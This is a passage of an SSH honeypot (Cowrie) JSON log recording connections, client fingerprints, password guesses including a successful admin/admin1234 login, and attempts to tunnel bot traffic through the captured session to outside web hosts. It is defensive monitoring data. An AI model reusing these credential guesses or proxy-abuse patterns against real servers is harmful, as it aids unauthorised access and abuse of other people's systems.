xt-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:31.570399Z","src_ip":"103.153.68.219","session":"f1045e275ef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ckfdjxrf","message":"login attempt [root/ckfdjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:32.309427Z","src_ip":"103.153.68.219","session":"f1045e275ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:33.558197Z","src_ip":"103.153.68.219","session":"f1045e275ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:33.670814Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59634,"dst_ip":"159.203.135.109","dst_port":22,"session":"90f2413ebf4d","protocol":"ssh","message":"New connection: 91.92.40.36:59634 (159.203.135.109:22) [session: 90f2413ebf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:35.343530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:36.183207Z","src_ip":"91.92.40.36","session":"90f2413ebf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57438,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb77b084a1f","protocol":"ssh","message":"New connection: 123.27.168.40:57438 (10.17.0.5:22) [session: 6eb77b084a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:36.522702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:36.527505Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:36.784243Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:36.920983Z","src_ip":"91.92.40.36","session":"90f2413ebf4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:37.944959Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:38.551268Z","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:38.749443Z","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.109224Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-A516P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JnRzaDZIL3YzJiRLTTBeVQ%3D%3DyWTJB39vMKi2zrHUsglZZAQTohx8XyY%2Fwut%2B%2BSt7UmGhVJ6R0zqK3%2B4lsMRa0w9dmYItH43oM%2FnVW%2B6hffzHgT60vMmXVWvEyS5uRCF276WEDeQPXFEqZ2r7u%2BYELqLL0QwyUenoBDzVAZuEsH2QMsKDICbDs2AsGVYV7HeyZ%2BVjZkkEwgz362TWJPqtT0ed%2FyCr5LtwjUDdvVhuH24qcgRY62A0rQIfylv5QsAMolTBiPvKwaZnYNKSmcVZ2F44w2Io%2Br7QK9Iz%2Btcpa1QWMA%2Fqqz4JYLNvX1PeA6OSnVXdOv5OQJwCNSW04DYTdWrDtycp3R08IOlccwHijySzf1ae7mvWlWQaXtwPuKyaOr%2FqEJ7qcQoM%2B0t4qRErKmt%2F4GjW69fIH6h%2Fa8fA5wFwMyUqEj5RzAZC6dYlSjw%2F%2FaO0RG3cVSgy5imY5pQsbU5SA2a6i712%2B4N89AdUpYIt6B%2FqgBYUirdf3f0kKz3E5T8PGZP1O3jWg32ckQisAS1zNRfcRW2D%2FdiJq56qjjaXqjhOl9WgTDbMLATPFQ%2FiK8ULT%2BrvQGyrauqzA%2F%2BwnAelVHIKuoySsIxlAtM8FVrfF6HHpJlHEFg14aAlFfHWvV%2BAu7VCXNXcmbD8x2GM6LxTMowxFh0alJcypUcfIxYWYQeW1ntI2GiYuviJBFL3RvvZmJcWog1aXfc1ihoguE%2FCbusC9jVi3raP6L4F56PJN2ehKqnc0PUv0d04IWOSMIXXbSd9jMcRA0sOB%2FKfYqM6KWRIqyrK5D3bQBCvNxUftMk2Tb3pUPRGBrQuvUBRkTVaGt02RzVakCfYov%2Bskqe1X53n4TNXpMtgP0yxBsfOgjHtDoHj8H6%2FKOZ9CLEZhEsWd79AuKwtwBPzMpqlCAWO1vTGwAkjplCrH3MhqcZlyThter3fUupALMJygPRDFcdOA%2BQlTcEwLuZ6S7QAOdUGOc46eSjbAdzMCOktmlhiZA%2FY8qU6SPpWax8Y3%2F2s9MX9%2BwRcIOMOE2FeRd6HrziQ2q1ZvxCi9Mbsc%2FADS%2BqepyNr%2Bdeq%2B4blleLrRuzmglo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-A516P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JnRzaDZIL3YzJiRLTTBeVQ%3D%3DyWTJB39vMKi2zrHUsglZZAQTohx8XyY%2Fwut%2B%2BSt7UmGhVJ6R0zqK3%2B4lsMRa0w9dmYItH43oM%2FnVW%2B6hffzHgT60vMmXVWvEyS5uRCF276WEDeQPXFEqZ2r7u%2BYELqLL0QwyUenoBDzVAZuEsH2QMsKDICbDs2AsGVYV7HeyZ%2BVjZkkEwgz362TWJPqtT0ed%2FyCr5LtwjUDdvVhuH24qcgRY62A0rQIfylv5QsAMolTBiPvKwaZnYNKSmcVZ2F44w2Io%2Br7QK9Iz%2Btcpa1QWMA%2Fqqz4JYLNvX1PeA6OSnVXdOv5OQJwCNSW04DYTdWrDtycp3R08IOlccwHijySzf1ae7mvWlWQaXtwPuKyaOr%2FqEJ7qcQoM%2B0t4qRErKmt%2F4GjW69fIH6h%2Fa8fA5wFwMyUqEj5RzAZC6dYlSjw%2F%2FaO0RG3cVSgy5imY5pQsbU5SA2a6i712%2B4N89AdUpYIt6B%2FqgBYUirdf3f0kKz3E5T8PGZP1O3jWg32ckQisAS1zNRfcRW2D%2FdiJq56qjjaXqjhOl9WgTDbMLATPFQ%2FiK8ULT%2BrvQGyrauqzA%2F%2BwnAelVHIKuoySsIxlAtM8FVrfF6HHpJlHEFg14aAlFfHWvV%2BAu7VCXNXcmbD8x2GM6LxTMowxFh0alJcypUcfIxYWYQeW1ntI2GiYuviJBFL3RvvZmJcWog1aXfc1ihoguE%2FCbusC9jVi3raP6L4F56PJN2ehKqnc0PUv0d04IWOSMIXXbSd9jMcRA0sOB%2FKfYqM6KWRIqyrK5D3bQBCvNxUftMk2Tb3pUPRGBrQuvUBRkTVaGt02RzVakCfYov%2Bskqe1X53n4TNXpMtgP0yxBsfOgjHtDoHj8H6%2FKOZ9CLEZhEsWd79AuKwtwBPzMpqlCAWO1vTGwAkjplCrH3MhqcZlyThter3fUupALMJygPRDFcdOA%2BQlTcEwLuZ6S7QAOdUGOc46eSjbAdzMCOktmlhiZA%2FY8qU6SPpWax8Y3%2F2s9MX9%2BwRcIOMOE2FeRd6HrziQ2q1ZvxCi9Mbsc%2FADS%2BqepyNr%2Bdeq%2B4blleLrRuzmglo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.114311Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.117982Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0(\\xa6k,\\xa4u\\x8e-:\">\\xc7\\xd3M\\xcfR\\x8a)y\\xcf\\x92\\xd53\\xc4oo\\xd3\\xf9\\xf6u_ x\\xce\\x89\\xa0\\x14F\\xdb\\x97\\xf6q\\x89S3C\\xd25\\x87\\'P\\x99\\xfc\\xc7\\xc9\\x0b\\xb5\\\\u\\xca/\\x1d`\\xad\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b%\\xb9\\xa9^ \\xcb+\\xf8\\xf0\\x1d\\x8a\\xb0\\x85\\xa6\\rL\\x87`m\\xf82\\\\\\xa7\\xe7\\x01\\xe7\\x1dv\\x0f\\xb3\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0(\\xa6k,\\xa4u\\x8e-:\">\\xc7\\xd3M\\xcfR\\x8a)y\\xcf\\x92\\xd53\\xc4oo\\xd3\\xf9\\xf6u_ x\\xce\\x89\\xa0\\x14F\\xdb\\x97\\xf6q\\x89S3C\\xd25\\x87\\'P\\x99\\xfc\\xc7\\xc9\\x0b\\xb5\\\\u\\xca/\\x1d`\\xad\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b%\\xb9\\xa9^ \\xcb+\\xf8\\xf0\\x1d\\x8a\\xb0\\x85\\xa6\\rL\\x87`m\\xf82\\\\\\xa7\\xe7\\x01\\xe7\\x1dv\\x0f\\xb3\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.120724Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.373514Z","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:39.622534Z","src_ip":"123.27.168.40","session":"6eb77b084a1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03$\\x0e\\x82a\\x16\\x86\\xe1\\xdc\\xd9\\x92\\xddY\\xb1\\x93\\x80\\'$\\xb0t\\x8d\\x01&\\xde\\xeb!\\x91!\\xf7\\xa6\\x87\\x91s \\x88\\xbb\\\\\\x92\\xf8g\\xfb\\x95us\\x16-7\\x1b[\\xf5\\x87\\xdd\\xbd\\'\\xdf\\xef\\xb2\\x82\\x98\\x8d\\xfb\\xcf>\\xd3,\\xa9\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xde\\xa9J\\x92eX\\xa3\\xff yX\\xd9\\xfcP\\x92\\x05\\xaa\\x98\\x00\\x8e\\xa6Sm\\xee\\xee\\xcc\\xbf*\\x8an\\xea3\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03$\\x0e\\x82a\\x16\\x86\\xe1\\xdc\\xd9\\x92\\xddY\\xb1\\x93\\x80\\'$\\xb0t\\x8d\\x01&\\xde\\xeb!\\x91!\\xf7\\xa6\\x87\\x91s 